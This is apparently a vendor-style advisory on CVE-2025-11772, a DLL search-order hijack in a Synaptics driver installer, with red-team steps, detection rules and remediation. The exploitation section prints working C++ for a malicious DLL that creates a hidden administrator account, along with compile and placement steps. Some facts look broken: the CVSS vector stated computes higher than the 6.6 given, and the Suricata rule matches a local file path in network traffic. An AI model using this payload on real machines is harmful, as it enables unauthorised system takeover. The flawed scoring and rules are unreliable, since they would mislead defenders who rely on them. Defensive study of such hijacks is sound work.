CVE-2025-11772

Executive Summary

CVE-2025-11772 is a local privilege escalation vulnerability in Synaptics driver installation components. The vulnerability allows an attacker with local access to achieve arbitrary code execution with elevated privileges by placing a malicious DLL in the C:/ProgramData/Synaptics folder. The attack vector relies on the Windows DLL search order hijacking technique (CWE-427), where the installer loads a DLL from an insecure writable directory instead of a protected system path. The CVSS score of 6.6 reflects a medium severity, but the impact is high due to the potential for full system compromise. No public exploit code or proof-of-concept is currently available, and no patch has been released by Synaptics.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a Windows-native binary vulnerability affecting Synaptics driver installation packages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.6 (Medium)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs standard user privileges.
• User Interaction: None (UI:N) – No user action is required beyond the attacker placing the DLL.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full read access to system data.
• Integrity Impact: High (I:H) – Full write access to system files.
• Availability Impact: High (A:H) – Potential for denial of service or system instability.

Threat Level: Medium. The vulnerability requires local access, but the low complexity and high impact make it a significant risk in multi-user environments or systems with untrusted users.

Deep Dive & Mechanics

The vulnerability resides in the Synaptics driver installation process. When the installer runs, it searches for DLL dependencies in the C:/ProgramData/Synaptics directory. This directory is typically writable by standard users (due to default Windows permissions on ProgramData). An attacker can craft a malicious DLL with the same name as a legitimate DLL that the installer expects to load (e.g., version.dll, dbghelp.dll, or a Synaptics-specific DLL). By placing this DLL in the C:/ProgramData/Synaptics folder before the installation begins, the attacker can hijack the DLL loading process. The installer, running with elevated privileges (SYSTEM or Administrator), will load the malicious DLL, executing arbitrary code in the context of the installer.

Key Technical Details:

• DLL Search Order Hijacking: Windows searches for DLLs in a specific order: the directory from which the application loaded, the system directory, the 16-bit system directory, the Windows directory, the current working directory, and directories in the PATH environment variable. If the installer does not use safe DLL search mode (e.g., SetDllDirectory("") or LoadLibraryEx with LOAD_LIBRARY_SEARCH_* flags), it may load a DLL from the current working directory or a writable path like ProgramData.
• Privilege Escalation: The installer runs with high integrity (SYSTEM), so the malicious DLL executes with the same privileges, allowing the attacker to install backdoors, modify system files, or create new admin accounts.
• Persistence: The attacker can maintain access by installing a service or scheduled task from the elevated context.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable behavior is characterized by the installer loading DLLs from C:/ProgramData/Synaptics without proper validation. A patched version would likely:

• Use absolute paths for DLL loading.
• Set the DLL search directory to a secure system path using SetDllDirectory("") or SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32).
• Validate the digital signature of loaded DLLs.
• Run the installer with reduced privileges or use a service with lower integrity.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows system with Synaptics driver installation pending.
• Ability to write to C:/ProgramData/Synaptics (standard user permissions).
• Knowledge of a DLL name that the installer will load (e.g., version.dll).

Exploitation Steps:

1. Identify Target DLL: Use Process Monitor (Procmon) to capture the DLL load events during a legitimate Synaptics installation. Filter for C:/ProgramData/Synaptics and note the DLL names.
2. Craft Malicious DLL: Create a DLL that exports the same functions as the target DLL but includes malicious payload (e.g., reverse shell, user creation). Example using MSVC:

   // malicious_dll.cpp
   #include <windows.h>
   #pragma comment(linker, "/EXPORT:SomeFunction=malicious_dll.SomeFunction")
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           // Execute payload: create admin user
           system("net user attacker P@ssw0rd! /add && net localgroup Administrators attacker /add");
       }
       return TRUE;
   }
   

   Compile: cl /LD malicious_dll.cpp /Fe:version.dll
3. Place DLL: Copy the malicious DLL to C:/ProgramData/Synaptics\version.dll.
4. Trigger Installation: Run the Synaptics installer (e.g., SynapticsSetup.exe). The installer will load the malicious DLL, executing the payload with SYSTEM privileges.

Expected Outcome: The attacker gains a new local administrator account or a reverse shell with SYSTEM integrity.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor File Writes: Alert on any file creation in C:/ProgramData/Synaptics by non-SYSTEM processes, especially DLL files.
2. Monitor DLL Load Events: Use Sysmon Event ID 7 (Image loaded) to detect DLLs loaded from C:/ProgramData/Synaptics by high-integrity processes.
3. Check for Suspicious Accounts: Look for unexpected local administrator accounts created around the time of Synaptics driver installation.
4. Review Process Trees: Identify installer processes (e.g., SynapticsSetup.exe) spawning child processes like cmd.exe or net.exe.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName in~ ("SynapticsSetup.exe", "SynapticsInstaller.exe")
| where ProcessIntegrityLevel == "System"
| join kind=inner (
    DeviceFileEvents
    | where FolderPath startswith @"C:\ProgramData\Synaptics"
    | where FileName endswith ".dll"
) on DeviceId
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath

Indicators of Compromise (IOCs)

• File Path: C:/ProgramData/Synaptics\*.dll (any DLL placed by non-SYSTEM user)
• Process: SynapticsSetup.exe or SynapticsInstaller.exe loading DLLs from C:/ProgramData/Synaptics
• Registry: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Synaptics (modified by malicious installer)
• Network: Outbound connections from SynapticsSetup.exe to unknown IPs (if reverse shell used)
• User Account: Unexpected local administrator accounts (e.g., attacker)

Detection Engineering

YARA Rule

rule CVE_2025_11772_Synaptics_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs placed in C:/ProgramData/Synaptics for CVE-2025-11772"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11772"
    strings:
        $s1 = "C:/ProgramData/Synaptics" nocase
        $s2 = "SynapticsSetup.exe" nocase
        $s3 = "DllMain" nocase
        $s4 = "net user" nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        ($s1 or $s2) and
        ($s3 or $s4)
}

Sigma Rule

title: Synaptics DLL Hijack via ProgramData
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DLL load events from C:/ProgramData/Synaptics by high-integrity processes
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    category: image_load
detection:
    selection:
        ImageLoaded|startswith: 'C:\ProgramData\Synaptics\'
        ImageLoaded|endswith: '.dll'
        ProcessIntegrityLevel: 'System'
    condition: selection
falsepositives:
    - Legitimate Synaptics updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-11772 - Synaptics DLL Hijack - Potential Reverse Shell";
    flow:to_server,established;
    content:"SynapticsSetup.exe"; nocase;
    content:"|2e 64 6c 6c|"; distance:0; // .dll
    pcre:"/C:\\ProgramData\\Synaptics\\[^\\]+\.dll/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Permissions: Remove write access to C:/ProgramData/Synaptics for standard users. Use icacls:

   icacls "C:\ProgramData\Synaptics" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F" /deny "Users:(OI)(CI)W"
   

2. Monitor Installation: Only run Synaptics driver installations from trusted media and with administrative oversight.
3. Use Application Control: Block DLL loading from C:/ProgramData/Synaptics via Windows Defender Application Control (WDAC) or AppLocker.

Long-Term Fix:

• Synaptics must release a patched installer that uses secure DLL loading practices (e.g., SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32)).
• Until a patch is available, consider using alternative drivers or disabling automatic driver updates.

Workaround:

• Pre-load the legitimate DLLs into C:/ProgramData/Synaptics with SYSTEM ownership to prevent overwriting.

Valters IT